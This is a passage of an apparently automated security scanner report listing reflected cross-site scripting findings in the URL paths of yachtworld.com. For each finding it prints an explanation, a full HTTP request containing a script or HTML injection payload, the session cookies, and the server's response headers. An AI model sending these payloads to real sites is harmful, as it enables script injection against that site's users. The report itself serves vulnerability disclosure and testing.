GET /boats/category/type/Bayliner3f037"><a>354b06200d2/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:45 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 59a64"><script>alert(1)</script>1f1925a738a was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/Bayliner/159a64"><script>alert(1)</script>1f1925a738a HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:54 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ae415"><a>5a3397b884a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/typeae415"><a>5a3397b884a/Beneteau/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:36 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 462fc"><a>d205da5a30f was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Beneteau462fc"><a>d205da5a30f/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:44 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fcfad"><script>alert(1)</script>9ee5d133a13 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/Beneteau/1fcfad"><script>alert(1)</script>9ee5d133a13 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:51 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dae87"><a>6a5a7d2476b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/typedae87"><a>6a5a7d2476b/Bertram/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; 